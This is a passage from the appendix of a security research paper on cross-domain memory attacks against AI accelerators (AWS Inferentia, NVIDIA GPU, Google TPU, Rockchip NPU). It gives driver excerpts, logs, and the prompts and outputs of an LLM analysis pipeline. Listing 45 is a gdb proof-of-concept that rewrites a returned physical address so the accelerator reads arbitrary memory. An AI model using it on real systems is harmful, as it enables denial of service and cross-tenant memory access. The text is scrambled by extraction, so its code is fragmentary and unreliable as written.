-> phys static int ncdev_mem_buf_copy(struct neuron_device *nd, ↩→ unsigned int cmd, void *param) { ... ret = mc_alloc_align(nd, ...); ... ret = ndma_memcpy_buf_to_mc(nd, src_mc->va, 0, mc, ... ↩→ copy_size); ... + = ndma_memcpy_buf_from_mc(nd, src_mc->va,...); ... }
17 18 [DBG]
PDE: i=16 ↩→ 0x202cce000 ↩→ 0x4e4d130e] 19 [DBG] L=3 ↩→ 0x39bfd1000
size=8 offs=32 phys 0x4e4d13
pgsz: -- GPU [0x00000000,
GPU virt 0x202cce000
+0x1000
-> phys
20 21 DBG]
PDE: i=22 size=16 offs=88 pgsz: S- GPU 0x202cce000 phys 0x1b79a9000 [0x00000000, 0x1b79a90e, 0x00000000, 0x00000000] 22 [DBG] L=4 GPU virt 0x202cce000 +0x1000 -> ↩→ phys 0x39bfd1000 23 [DBG] vm=as_17 PTE: i=206 size=8 GPU 0x202cce000 ↩→ phys 0x39bfd1000 pgsz: 4kb perm=RW kind=0x6 ↩→ APT=SYSTEM ---VA ctag=0x0 [0x06000000, 0x39bfd10d] 24 [DBG] L=4 ret! 25 [DBG] L=3 ret! 26 [DBG] L=2 ret! 27 [DBG] L=1 ret! 28 [DBG] L=0 ret! 29 [DBG] MAP Done! 30 [DBG] ↩→ ↩→
int ndma_memcpy_buf_to_mc(struct neuron_device *nd...) { dma_addr_t src_pa; dma_addr_t dst_pa; ... src_pa = virt_to_phys(buffer) ↩→ ndhal->ndhal_address_map.pci_host_base; ... + return ndma_memcpy(nd, nc_id, src_pa, dst_pa, ↩→ size); }
31 32 [Debug] 33 [Debug]
nvgpu_vm_map_buffer map_addr: 0x202cce000 nvgpu_vm_map_buffer dmabuf_fd: 43
static int ncdev_mem_get_pa_deprecated(struct ↩→ neuron_device *nd, void *param) { ... $ ret = neuron_copy_from_user(__func__, ↩→ &mem_get_pa_arg...); ...
Listing 39: NVIDIA GPU: Shows log output, describing pagetable mapping of US address.
mc = ncdev_mem_handle_to_mem_chunk(nd, ↩→ mem_get_pa_arg.mem_handle);
S. AINF data movement between SMem and AIMem ...
$ return copy_to_user(mem_get_pa_arg.pa, &mc->pa, ↩→ sizeof(u64));
As shown in Listing 44, from DeputyHunt provided information, ncdev_mem_buf_copy calls into dma_memcpy_offset_move which prepares the DMA context and initiates data transfers between SMem and AIMem.
}
Listing 40: AWS INF: AIA relevant function i.e.,KD allocating buffer (SMem: §, AIMem: *), copying buffers (+), conveying AVL physical address of buffer ($)
T. AINF CDA Exploit As shown in Listing 45, in AVL attacker breaks ndl_memory_get_pa which calls ioctl with NEURON_IOCTL_MEM_GET_PA. Attacker checks if the returned physical address given by KD is from AIMem regions, if so attacker modifies the physical address to point to privileged memory regions (memory belonging to other USE in AIMem) and continues execution. From this point AVL uses this attacker provided physical address to construct the command buffers and submit to AIA. In this script, we made AIA fetch from an arbitrary location, leading to a DDOS of AIA. Attacker can choose AIMem regions belonging to other process.
U. Rockchip NPU (RNPU)
at
We used Tinker Edge R as our evaluation board, with Arm Cortex A72 + A53 as it AP and equipped with Rockchip NPU with Debian Linux 10 (buster) as the host OS. We created our AUA using TensorFlow and configured it to use RNPU. We referred to the publicly available TRM [106] and identified that RNPU is connected to AP through USB. We used lsusb to identify the USB device and various USB interface and configurations exposed by RNPU. USB protocol allows vendors to implement custom interfaces. Using
32
static long ncdev_ioctl(struct file *filep, unsigned int ↩→ cmd, unsigned long param) { 1#
Since AIA is a PCIe device, we can gather more information from lspci 2 sudo lspci -v -s 00:1f.0 3 00:1f.0 System peripheral: Amazon.com, Inc. Device 7064 ↩→ (rev 01) 4 Physical Slot: 31 5 Flags: bus master, fast devsel, latency 0, IRQ 10 6 Memory at fd800000 (32-bit, non-prefetchable) ↩→ [size=8M] 7 Memory at fe010000 (32-bit, non-prefetchable) ↩→ [size=64K] 8 Memory at 600000000 (64-bit, prefetchable) ↩→ [size=512M] 9 Memory at 400000000 (64-bit, prefetchable) ↩→ [size=8G] 10 Capabilities: [40] Power Management version 3 11 Capabilities: [70] Express Endpoint, MSI 00 12 Capabilities: [b0] MSI-X: Enable- Count=8 Masked13 Kernel driver in use: neuron-driver
... else if (cmd == NEURON_IOCTL_MEM_ALLOC) { ³ return ncdev_mem_alloc(nd, (void *)param); } ... else if (cmd == NEURON_IOCTL_MEM_GET_PA) { ³ return ncdev_mem_get_pa_deprecated(nd, (void ↩→ *)param); } ... else if (_IOC_NR(cmd) == ↩→ _IOC_NR(NEURON_IOCTL_MEM_BUF_COPY)) { ³ return ncdev_mem_buf_copy(nd, cmd, (void ↩→ *)param); } ...
↩→
}
Listing 41: AWS INF: Relevant KD entry points i.e., entry points reaching AIA relevant function i.e., mc_alloc_internal, ncdev_mem_buf_copy, ncdev_mem_get_pa_deprecated. 1 struct 2 3 4 5 6 7 8 9 10 11 12 13 14
14
Listing 43: lspci output on AWS inf1 EC2 instance revealing AIMem details of AWS INF.
mem_chunk { ... phys_addr_t pa; // physical address of the chunk void *va; // virtual address of the chunk u64 size; // chunk size ... u32 dram_channel; // DRAM channel u32 dram_region; // TDRAM region ... neuron_mc_handle_t mc_handle; // memchunk handle mem_alloc_category_t alloc_type; // memory ↩→ allocation category enum mem_location mem_location; // location of ↩→ memory - Host or Device pid_t pid; // process which allocated the memory ...
static int ncdev_mem_buf_copy(struct neuron_device *nd, ↩→ unsigned int cmd, void *param) { ... ->ndma_memcpy_buf_to_mc(nd, src_mc->va,...); -> ndma_memcpy -> ndma_memcndma_memcpy_offset_move ... } static int ndma_memcpy_offset_move(struct neuron_device ↩→ *nd...) { ... // initialize the DMA context dma_ctx->inuse = true; dma_ctx->eng = eng; dma_ctx->ring = ring; dma_ctx->src = src; dma_ctx->dst = dst; ... dma_ctx->size = size; dma_ctx->smove = smove; dma_ctx->dmove = dmove; dma_ctx->completion_ptr = ↩→ ndma_memcpy_get_completion_buf( eng, ring, ↩→ wait_handle); ... while (true) { ret = ndma_memcpy_chunks( eng, ring, ↩→ dma_ctx); ... if (prefetch_addr && dma_ctx->offset == ↩→ 0) { _ndma_prefetch_user_pages( ↩→ prefetch_addr, dma_ctx->size); } if (pdma_ctx != NULL) { ret = ↩→ _ndma_memcpy_wait_for_completion( ↩→ nd, nc_id, qid, eng, ring, ↩→ pdma_ctx, dma_ctx); ... } } }
15 }; 16 17 struct 18 19 20 21 22
neuron_ioctl_mem_buf_copy { __u64 mem_handle; // [in] Source or Destination ↩→ memory handle from/to data needs to be copied. void *buffer; // [in] Buffer from/to where data to ↩→ be copied. __u32 size; // [in] Size of the data to be copied. __u32 offset; // [in] Offset in the memory handle ↩→ where the data to be written/read. __u32 copy_to_mem_handle; // [in] if set to True ↩→ copies from buffer to memhandle else copies ↩→ from memhandle to buffer.
23 }; 24 25 struct 26 27
neuron_ioctl_mem_get_pa { __u64 mem_handle; // [in] Memory handle of the ↩→ allocated memory. __u64 *pa; // [out] Physical address of the memory
28 };
Listing 42: AWS INF: Structure of messages relevant to CDA sent from AVL to KD and vice versa. sudo lsusb -v -s 001:003.
The /usr/bin/npu_transfer_proxy service listens for requests from multiple UA and transfers messages (using libusb [131]) to the KD, which is just an handler for messages to RNPU. The results of this step are summarized in Table VIII. The lack of zero-copy transfers in RNPU violates both the necessary conditions (§ VII) for CDA and prevents it. We do not present the results of the next steps, as there is not a possibility of CDA.
Listing 44: AWS INF: Shows the call graph of relevant function involved in data movement between SMem and AIMem and vice versa.
33
1#
Set breakpoint at function entry ndl_memory_get_pa 3 break *(ndl_memory_get_pa+41)
↩→ 2{
4 5#
int gasket_perform_mapping(struct gasket_page_table *pg_tbl...)
1 static
2 break
printk(KERN_INFO "FUNC_ENTRY: Entering function ↩→ gasket_perform_mapping at %s:%d\n", __FILE__, ↩→ __LINE__); ... printk(KERN_INFO "DMA_INSTRUMENT: About to call ↩→ dma_map_page from function %s at %s:%d\n", ↩→ __func__, __FILE__, __LINE__); printk(KERN_INFO "DMA_STACK_START: Stack trace for ↩→ dma_map_page called from %s\n", __func__); dump_stack(); printk(KERN_INFO "DMA_STACK_END: End of stack trace ↩→ for dma_map_page\n"); ... ret = get_user_pages_fast(page_addr - offset...); ... /* Map the page into DMA space. */ ptes[i].dma_addr = dma_map_page(pg_tbl->device, page, ↩→ ...); ...
3
Global flag to track phases $entry_done = 0
6 set 7
4
8#
Commands for the breakpoint 1 10 if $entry_done == 0 11 printf "pa argument address: %p\n", $rsi 12 set $pa_addr = $rsi 13 set $entry_done = 1 14 continue 15 else 16 # Read upper 4 bytes and check 17 set $upper = (*(unsigned long*)$pa_addr >> 32) & ↩→ 0xFFFFFFFF 18 if $upper != 0x00004001 19 break 20 # Only modify if NOT 0x00004001 (not host address) 21 set *((unsigned long*)$pa_addr) = 0x1040000000 22 printf "Modified pa value to: 0x%lx\n", *((unsigned ↩→ long*)$pa_addr) 23 else 24 printf "Skipping modification - found 0x00004001\n" 25 end 26 set $entry_done = 0 27 continue 28 end 29 end
5
9 commands
6 7 8 9 10 11 12 13 14 15 } 16
17 long
gasket_handle_ioctl(struct file *filp...)
18 {
printk(KERN_INFO "IOCTL_HANDLER: Function ↩→ gasket_handle_ioctl called at %s:%d\n", __FILE__, ↩→ __LINE__); ... switch (cmd) { case GASKET_IOCTL_RESET: ... case GASKET_IOCTL_MAP_BUFFER: retval = gasket_map_buffers(gasket_dev, argp); break; case GASKET_IOCTL_MAP_BUFFER_FLAGS: retval = gasket_map_buffers_flags(gasket_dev, ↩→ argp); break; ... }
19
20 21
30
22
31 run
23
32
24 25
Listing 45: AINF: Gdb script that causes DDoS of AIA in an EC2 instance.
26 27 28 29 30 31
static int proc_submiturb(struct usb_dev_state *ps, void ↩→ __user *arg){ ... * proc_do_submiturb(ps, &uurb, (((struct usbdevfs_urb __user ↩→ *)arg)->iso_frame_desc), arg);
32 } 33
int gasket_map_buffers(struct gasket_dev *gasket_dev...)
34 static
↩→ 35 { 36 37
static int copy_urb_data_to_user(u8 __user *userbuffer, ↩→ struct urb *urb){ ... for (i = 0; i < urb->num_sgs && len; i++) { ... * if (copy_to_user(userbuffer, ↩→ sg_virt(&urb->sg[i]), size)) ...
38 39 40 41
... printk(KERN_INFO "USER_COPY: About to call ↩→ copy_from_user from function %s at %s:%d\n", ↩→ __func__, __FILE__, __LINE__); printk(KERN_INFO "USER_COPY_CONTEXT: Process PID=%d, ↩→ COMM=%s\n", current->pid, current->comm); if (copy_from_user(&ibuf.base, argp, sizeof(struct ↩→ gasket_page_table_ioctl))) return -EFAULT; ...
42 }
Listing 46: RNPU (Tinker Edge R): AIA relevant function i.e.,standard USB KD (*).
Listing 48: Example of a kernel instrumenter adding logging to Google TPUKD source code.
static long usbdev_ioctl(struct file *file, unsigned int ↩→ cmd, unsigned long arg){ ... -> usbdev_do_ioctl(file, cmd, (void __user *)arg); -> case USBDEVFS_SUBMITURB: ³ proc_submiturb(ps, p)
KD Instrumentation statistics Device
Instrumented Fns.
Google TPU NXP NPU TMMA HAILO NPU NVIDIA GPU AWS INF
Instrumented Files
91 out of 159 (57.2%) 4 out of 6 (66.66%) 149 out of 1273 (11.7%) 13 out of 51 (25.49%) 1294 out of 6148 (21.1%) 65 out of 301 (21.6%) 88 out of 296 (29.7%) 10 out of 24 (41.7%) 53 out of 7357 (0.7%) 37 out of 775 (4.8%) 22 out of 381 (5.8%) 3 out of 25 (12%) TABLE VI Summary of KD source instrumentation
-> case USBDEVFS_REAPURBNDELAY: -> proc_reapurbnonblock(ps, p) -> processcompl(...) ³ copy_urb_data_to_user(userbuffer, urb) }
Listing 47: RNPU (Tinker Edge R): Relevant KD entry points i.e., entry points reaching AIA relevant functions.
34
Defenses
Backward Compatible
KD Complexity
p ✓ ✓ ✓
High Low Moderate Low
Validation by KD Shared page tables (§ B1) AIA Page Tables Explicit validation
Type1 Type 2 (§ B2)
AIA Modifications Hardware Software p ✓ ✓ p
p ✓ p ✓
Overhead
Depends on num. of SMIDs, Command streams structure and Low and Constant. Low and Constant. Depends on num. of SMIDs, AI model memory access patterns
TABLE VII CDA Defenses and their Characteristics. Green and red markers indicate desired and not desired characteristics, respectively.
AIA SMem HMem
UM1
UM2
Kernel code DMem AIRMem and data
AIMem
KMem
Fig. 4. Memory Regions Categorization
Device
Type
Google TPU
PCI
NXP NPU
AXI and AHB
TMMA
Custom Interconnect
HAILO NPU
PCI Interconnect
NVIDIA GPU
Custom Interconnect
AWS INF
PCI
AIMem 16KB from 0x20200000 1M from 0x20100000 32KB from 0x38000000 32KB from 0x38008000 128KB from 0x38500000
-
16KB from 0x1800000000 4KB from 0x1800008000 16KB from 0x1800004000 16MB from 0x17000000 16MB from 0x18000000 4KB from 0x3b41000 256KB from 0x15880000 256KB from 0x158C0000 8MB from 0xfd800000 64KB from 0xfe010000 512MB from 0x600000000 8GB from 0x400000000
AIRMem
AVLs
-
libcoral (statically linked) libedgetpu.so
KD Device Files
/dev/apex_0
256MB from 0x100000000
libvx_ delegate.so libtimvx.so libGAL.so
/dev/galcore
Several Disjoint Zones (Listing 30 in Appendix)
libvx_tidl_ rt.so libti_rpmsg _char.so libtivision_ apps.so
/dev/mem /dev/rpmsg /dev/rpmsg_ctrl /dev/dma_heap/ carveout_vision_ apps_shared-memories /dev/dma-buf-phys
-
libhailort.so
/dev/hailo0
-
libnvrm_mem.so libnvrm_gpu.so
/dev/nvgpu /dev/nvmap /dev/nvhost-nvdla0 /dev/nvhost-nvdla1
-
libnrt.so
/dev/neuron0
TABLE VIII Summary of memory regions and information provided by the data extraction phase.
35
1 Analyze
↩→ ↩→
1{
"function_name": "gasket_perform_mapping", "line_number": 523, "first_seen_timestamp": 1754249396.921087, "first_seen_time_str": "19:29:56,921087", "entry_type": "function_entry", "function_code": "<extracted function code>", "preprocessed_file_code": "<extracted preprocessed ↩→ file code>", "call_count": 10
2 3 4 5 6 7 8 9
2 3 1.
↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→
10 }, 11 {
"dma_function": "dma_map_page", "caller_function": "gasket_perform_mapping", "file_path": "gasket-driver/src/gasket_page_table.c", "line_number": 570, "first_seen_timestamp": 1754249396.942726, "first_seen_time_str": "19:29:56,942726", "stack_trace": [...], "function_code": "<extracted function code>", "preprocessed_file_code": "<extracted preprocessed ↩→ file code>", "call_count": 2
12 13 14 15 16 17 18 19 20 21
5 2.
↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→
23 {
"copy_function": "copy_from_user", "caller_function": "gasket_map_buffers_flags", "file_path": "gasket-driver/src/gasket_ioctl.c", "line_number": 199, "first_seen_timestamp": 1754249396.762273, "first_seen_time_str": "19:29:56,762273", "function_code": "<extracted function code>", "preprocessed_file_code": "<extracted preprocessed ↩→ file code>", "call_count": 8, "process_info": { "pid": 22533, "comm": "classify_image"
25 26 27 28 29 30 31 32 33 34 35 36
7 3.
↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→ ↩→
}
38 39 {
"function_name": "gasket_ioctl", "file_path": "gasket-driver/src/gasket_core.c", "line_number": 1373, "first_seen_timestamp": 1754249395.94296, "first_seen_time_str": "19:29:55,942960", "function_code": "<extracted function code>", "preprocessed_file_code": "<extracted preprocessed ↩→ file code>", "call_count": 36
41 42 43 44 45 46 47 48 }, 49
50 "device_accesses": 51
"device_path": "/dev/apex_0", "access_type": "newfstatat", "timestamp": 70195.11103, "timestamp_str": "19:29:55.111030", "pid": 22533, "flags": null, "result": "0"
53 54 55 56 57 58 59
[
{
52
9 Please
respond in EXACTLY this format: <function_name_or_description> 11 AIARelevantFunction: <0{100> 12 Relevant_KD_Entry_Point: <0{100> 13 Message_Structure_Handling: <0{100> 14 Message_Structures identified: <list any message ↩→ structures found, or "None identified"> 15 SMID's identified: <list any SMIDs found, or "None ↩→ identified"> 10 Function/Code_Block_Name:
},
61 63
"zone_name": "DMA", "start_address": "0x0000000040000000", "end_address": "0x000000007fffffff", "status": "active", "unavailable_pages": null, "timestamp": 0.0, "timestamp_str": "0.000000"
65 66 67 68 69 70 71
[
{
64
Message Structure Handling: The code block handles message structures exchanged between user space and kernel, These contain copy_from_user() / copy_to_user() calls and passes structures involving Shared Memory Identifiers (SMIDs). SMID (Shared Memory Identifier) are a way of kernel letting userspace know it's user virtual address pages are accessed by AIA using this SMID These are usually part of the structure that is passed in copy_from_user() / copy_to_user(). In your reasoning you need to mention what structs are used as arguments in copy_from_user() / copy_to_user() calls, analyze the feilds in the structures that qualify under SMID's. Some examples of SMID (shared memory identifier) are: Device virtual address, physical address, DMA address, AIA virtualaddresses, file descriptors(fd). Metadata like Memory size, flags, or similar ranges, helps you to identify the structure of interest. While Metadata are not SMID's they help you to identify Message_Structures. You need to identify SMID's and also message structure. Its ok if there are few false positives, try to be reasonably inclusive in your analysis for both Message_Structures and SMID's identification.
8
60 ] 62 "memory_zones":
Relevant KD Entry Point: The code block represents an entry point from user space to kernel, commonly through ioctl() functions. These:Act as dispatch points in a switch-case or if/else over ioctl codes, Handle user commands and trigger deeper kernel logic leading to execution of AIARelevantFunction. Identify which ioctl code is being handled (e.g., IOCTL_AIA_ALLOC_MEM, IOCTL_AIA_GET_PHYSICAL_ADDRESS, IOCTL_AIA_COPY_MEM, IOCTL_AIA_USER_SHARED_MEM). You need to include this ioctl command code in your reasoning. Basically this is entry point which leads to AIARelevantFunction execution.
6
37 },
40
AIARelevantFunction: The given function or code block is involved in sharing shared memory (SMem) with an AI Accelerator (AIA). Such functions often Pin user pages to memory (get_user_pages, pin_user_pages), Iterate over scatter gather userpages, Obtain physical or DMA addresses of user pages. Program these addresses into AIA device page tables (for memory mapping inside the AIA), AIA MMIO (Memory Mapped I/O) registers to notify AIA of accessible memory, Manage DMA buffers for communication between CPU and AIA. These functions can also allocate memory from shared memory pool between between CPU and AIA and get their physical or DMA addresses or help in moving data between host memory and AIA internal memory. These functions are typically critical for giving the AIA access to host memory regions.
4
22 }, 24
the given kernel source code and assign confidence scores (0{100%) across three categories and identify message structures and structure fields of interest:
16 17 Reasoning: 18 -
Describe the rationale behind each confidence score Reference specific APIs used (e.g., get_user_pages, ↩→ dma_map_page, copy_from_user) 20 - Mention any relevant ioctl code, e.g., ↩→ IOCTL_AIA_ALLOC_SMEM, IOCTL_AIA_GET_PHYSICAL_ADDRESS, ↩→ IOCTL_AIA_COPY_MEM, IOCTL_AIA_USER_SHARED_MEM etc 21 - Mention any relevant message structures and its fields ↩→ (e.g., struct memory_descriptor, dev address, ↩→ phys_addr) Which can be potential SMID's 19 -
}
72 ]
Listing 49: Example dataset extracted from logs and KD source code for CDA analysis.
Listing 50: Shows system prompt sent to LLM.
36
12 3 1 You
↩→
4
have access to tools that can help you analyze code more effectively:
5
2 3 1.
↩→ ↩→
6
analyze_struct_definition: Use this tool to analyze struct/union/enum/typedef types encountered in the code.
7
4 8
5 IMPORTANT
ANALYSIS WORKFLOW: **PROACTIVELY REQUEST STRUCTURE DEFINITIONS**: For EVERY ↩→ struct, union, enum, or typedef you encounter in the ↩→ function code, if you think you need its definition, ↩→ you MUST call analyze_struct_definition to get its ↩→ full definition. 7 - **DEPTH STRATEGY**: 8 * Use depth=5 as default (good balance of detail vs. ↩→ readability and context size) 9 * Use depth=0 for CRITICAL structures when you need ↩→ COMPLETE nested definitions of all fields till basic ↩→ primitive types (int char etc.) 10 Use depth=1-2 for simple structures or when you only * ↩→ need immediate fields 11 * For SMID analysis, prefer higher depth (0 or 5) to see ↩→ all nested address/handle fields 12 - **COMPREHENSIVE ANALYSIS**: Before providing your ↩→ analysis scores, ensure you have requested definitions ↩→ for ALL structures mentioned in: 13 - Function parameters 14 - Local variables 15 - copy_from_user/copy_to_user calls 16 - Any structure fields accessed in the code 17 - Return types 18 - Cast operations 6-
9 10 11 12
Function/Code_Block_Name: gasket_perform_mapping AIARelevantFunction: 90 ... Reasoning: - '**AIARelevantFunction (90%)**: The function ↩→ `gasket_perform_mapping` is heavily involved in preparing memory for DMA operations, which ↩→ is critical for AI Accelerator integration. It utilizes `dma_map_page` to map user ↩→ pages into DMA space, and it also retrieves user pages using ↩→ `get_user_pages_fast`, which is essential for sharing memory with the AI Accelerator. The ↩→ function''s operations directly relate to managing DMA buffers and ensuring that the AI ↩→ Accelerator can access the necessary memory regions. The high score reflects the ↩→ function''s direct involvement in these critical operations.'
Listing 52: Example LLM analysis output for Google TPU, AIA relevant function.
12 3 4 5
19
6
20 TOOL
USAGE EXAMPLES: 21 - {{"struct_name": "gcsHAL_INTERFACE", "depth": 5}} ↩→ Analyze with default depth (5 levels) 22 - {{"struct_name": "gasket_dev", "depth": 0}} - Get ↩→ COMPLETE structure definition (depth=0 means ↩→ unlimited, shows ALL nested structures) 23 - {{"struct_name": "dma_buf", "depth": 3}} - Analyze with ↩→ specific depth (3 levels of nested structures) 24 - {{"struct_name": "user_buffer", "depth": 1}} - Shallow ↩→ analysis (only immediate fields, no nested expansion)
7 8 9 10 11
Function/Code_Block_Name: import_page_map AIARelevantFunction: 90 ... Reasoning: - '**AIARelevantFunction Score (90)**: The function ↩→ `import_page_map` is heavily involved in managing memory pages that are likely to ↩→ be shared with an AI Accelerator (AIA). It uses `pin_user_pages` and `get_user_pages`, ↩→ which are critical for pinning user memory pages to ensure they remain accessible ↩→ during DMA operations. The function also prepares scatter-gather lists for DMA ↩→ operations, which is essential for AIA memory access. The high score reflects the ↩→ function''s direct involvement in memory management for AIA.'
25 26 DEPTH
PARAMETER EXPLANATION: 27 - depth=0: UNLIMITED depth - expands ALL nested structures ↩→ completely (use for comprehensive analysis) 28 - depth=1: Only immediate fields (no nested struct ↩→ expansion) 29 - depth=2-5: Specific levels of nesting (depth=5 is ↩→ default, good balance) 30 - Higher depth values show more nested structure details ↩→ but may be verbose
Listing 53: Example LLM analysis output for NXP NPU, AIA relevant function.
31 32 ANALYSIS
1-
33 1.
2
APPROACH: First pass: Identify ALL structures, unions, enums, and ↩→ typedefs in the code 34 2. Request definitions for each identified type using ↩→ analyze_struct_definition 35 3. With complete structure information, analyze for: 36 - AIARelevantFunction patterns 37 - KD Entry Points 38 - Message Structure Handling and SMID identification 39 4. Provide comprehensive analysis based on both the ↩→ function code AND the structure definitions
3 4 5 6 7 8
40 9
The quality of your analysis depends on understanding the complete structure definitions. Always request them BEFORE scoring.
41 Remember:
↩→ ↩→
10 11
Listing 51: Shows tool prompt sent to LLM for structure analysis.
12
Function/Code_Block_Name: dma_buf_phys_convert AIARelevantFunction: 80 ... Reasoning: - '**AIARelevantFunction (80%)**: The function ↩→ `dma_buf_phys_convert` is involved in converting a DMA buffer file descriptor to a ↩→ physical address, which is crucial for AI Accelerator integration. It utilizes the ↩→ `dma_buf_get`, `dma_buf_attach`, and `dma_buf_map_attachment` functions, which are ↩→ essential for managing DMA buffers and their mappings. The function retrieves the ↩→ physical address from the scatter-gather table (`sg_table`), which is a key operation for ↩→ enabling the AI Accelerator to access the shared memory. The presence of these ↩→ operations indicates a strong relevance to AIA functionality, hence the high score.'
Listing 54: Example LLM analysis output for TMMA, AIA relevant function.
37
12 3 4 5 6 7 8 9 10 11 12
Function/Code_Block_Name: hailo_vdma_buffer_map AIARelevantFunction: 90 ... Reasoning: - '**AIARelevantFunction (90%)**: The function ↩→ `hailo_vdma_buffer_map` is heavily involved in managing memory buffers that are likely ↩→ shared with an AI Accelerator (AIA). It performs operations such as mapping user ↩→ addresses to DMA buffers, handling memory-mapped I/O (MMIO), and preparing scatter-gather ↩→ tables for DMA operations. The presence of `dma_map_sg` and the management of ↩→ `sg_table` structures indicate that this function is critical for facilitating access ↩→ to host memory regions by the AIA. The function also allocates and ↩→ initializes a `hailo_vdma_buffer`, which is essential for managing DMA operations.'
1 Function/Code_Block_Name:
3 4
Listing 55: Example LLM analysis output for HAILO NPU, AIA relevant function.
5 6 7 8 9 10
12 3 4 5 6 7 8 9 10 11 12 13 14 15
11
Function/Code_Block_Name: nvgpu_vm_map_buffer AIARelevantFunction: 80 ... Reasoning: - '**AIARelevantFunction Score (80)**: The function ↩→ `nvgpu_vm_map_buffer` is involved in mapping a DMA buffer to a virtual memory space, ↩→ which is critical for enabling an AI Accelerator (AIA) to access shared memory. The ↩→ function utilizes `dma_buf_get` to obtain a reference to a DMA buffer, which is ↩→ essential for memory management in the context of AI accelerators. It also checks for ↩→ various conditions related to memory mapping, such as buffer offsets and mapping ↩→ sizes, which are important for ensuring that the AIA can access the correct ↩→ memory regions. The function also prepares for memory mapping by translating access ↩→ flags and invoking `nvgpu_vm_map_linux`, which is likely responsible for the actual mapping ↩→ process. However, it does not directly handle DMA addresses or page tables, which is ↩→ why the score is not at 100%.'
12 13 14 15 16 17 18 19 20 21 22 23 24
Listing 56: Example LLM analysis output for NVIDIA GPU, AIA relevant function.
25 26 27 28
12 3 4 5 6 7 8 9 10 11
user_copy:gasket_map_buffers_flags ... Message_Structure_Handling: 90 Message_Structures_identified: - '[gasket_page_table_ioctl_flags]' SMIDs_identified: - '[base.host_address' - base.device_address] Reasoning: ... - '**Message Structure Handling Score (90)**: The ↩→ function utilizes the ↩→ `gasket_page_table_ioctl_flags` structure, which contains fields that are relevant for ↩→ memory management and communication between user space and kernel space. The ↩→ `copy_from_user` function is used to safely copy data from user space into the kernel''s ↩→ `ibuf` variable. The fields in `gasket_page_table_ioctl_flags`, particularly ↩→ `base.host_address` and `base.device_address`, are significant as they represent addresses that could ↩→ be used for shared memory identification (SMID). The high score reflects the ↩→ effective handling of message structures and the presence of relevant fields.' - '**Message Structures identified**: The primary ↩→ message structure identified is `gasket_page_table_ioctl_flags`, which contains a base ↩→ structure and flags. The base structure likely includes additional fields that ↩→ are important for the operation of the function.' - '**SMID''s identified**: The identified SMIDs include ↩→ `base.host_address` and `base.device_address`, which are crucial for ↩→ identifying shared memory regions and facilitating communication between the CPU and the ↩→ AIA. These fields are essential for understanding how the kernel interacts with user ↩→ space memory in the context of AIA operations. Overall, the function is ↩→ well-structured for handling user-space requests related to buffer mapping, but it does not ↩→ directly engage with AIA-specific memory management functions.'
↩→ 2
Function/Code_Block_Name: mc_alloc_internal AIARelevantFunction: 70 ... Reasoning: - '**AIARelevantFunction Score (70)**: The function ↩→ `mc_alloc_internal` is involved in memory allocation, which is crucial for AI ↩→ Accelerator operations. It allocates coherent DMA memory using `dma_alloc_coherent`, which ↩→ is relevant for AIA as it provides the necessary memory regions for the ↩→ accelerator to operate. The function also manages memory pools and handles physical ↩→ addresses, which are critical for DMA operations. However, it does not directly interact ↩→ with AIA-specific memory management functions or structures, which is why the ↩→ score is not higher.'
29
Listing 58: Shows LLM analysis output for Google TPUAIA, identifying messages semantics.
Listing 57: Example LLM analysis output for AINF, AIA relevant function.
38
1 2 3 4 5 6 7 8 9 10 11 12
13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
//LLM Analysis Function/Code_Block_Name: ↩→ user_copy:gasket_map_buffers_flags ... Message_Structure_Handling: 90 Message_Structures_identified: - '[gasket_page_table_ioctl_flags]' SMIDs_identified: - '[base.host_address, - base.device_address]' Reasoning: ... - '**Message Structure Handling Score (90)**: The ↩→ function utilizes the ↩→ `gasket_page_table_ioctl_flags` structure, which contains fields that are relevant for ↩→ memory management and communication between user space and kernel space. The ↩→ `copy_from_user` function is used to safely copy data from user space into the kernel''s ↩→ `ibuf` variable. The fields in `gasket_page_table_ioctl_flags`, particularly ↩→ `base.host_address` and `base.device_address`, are significant as they represent addresses that could ↩→ be used for shared memory identification (SMID). The high score reflects the ↩→ effective handling of message structures and the presence of relevant fields.' - '**Message Structures identified**: The primary ↩→ message structure identified is `gasket_page_table_ioctl_flags`, which contains a base ↩→ structure and flags. The base structure likely includes additional fields that ↩→ are important for the operation of the function.' - '**SMID''s identified**: The identified SMIDs include ↩→ `base.host_address` and `base.device_address`, which are crucial for ↩→ identifying shared memory regions and facilitating communication between the CPU and the ↩→ AIA. These fields are essential for understanding how the kernel interacts with user ↩→ space memory in the context of AIA operations. Overall, the function is ↩→ well-structured for handling user-space requests related to buffer mapping, but it does not ↩→ directly engage with AIA-specific memory management functions.'
1 //LLM
Analysis
2 Function/Code_Block_Name:
user_copy:gasket_set_event_fd ... Message_Structure_Handling: 90 Message_Structures_identified: - '[struct gasket_interrupt_eventfd]' SMIDs_identified: - '[interrupt - event_fd]' Reasoning: ... - '**Message Structure Handling Score (90)**: The ↩→ function handles a message structure `gasket_interrupt_eventfd`, which contains fields ↩→ `interrupt` and `event_fd`. The use of `copy_from_user` indicates that the ↩→ function is transferring data between user space and kernel space, which is a critical ↩→ aspect of message structure handling. The fields in `gasket_interrupt_eventfd` are relevant ↩→ for identifying the event and its associated file descriptor, making it a strong ↩→ candidate for message structure handling. The score is high at 90% due to the clear ↩→ handling of a structured message.' - '**Message Structures identified**: The identified ↩→ message structure is `struct gasket_interrupt_eventfd`, which contains:' - '`unsigned long long interrupt`: Represents the ↩→ interrupt identifier.' - '`unsigned long long event_fd`: Represents the file ↩→ descriptor for the event.' - '**SMID''s identified**: The fields `interrupt` and ↩→ `event_fd` are identified as potential SMIDs. They serve as identifiers for the ↩→ interrupt and the associated event file descriptor, which are crucial for the ↩→ kernel to manage events and communicate with user space. Overall, the function is primarily ↩→ focused on setting up event handling rather than direct memory management for an ↩→ AI Accelerator, which is reflected in the scores assigned.'
3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
Listing 61: Google Edge TPU: Example of an invalid result from LLM analysis of KD source code. Here, the LLM incorrectly identifies the function as handling message structures and SMIDs, when in reality, it is primarily focused on setting up event handling.
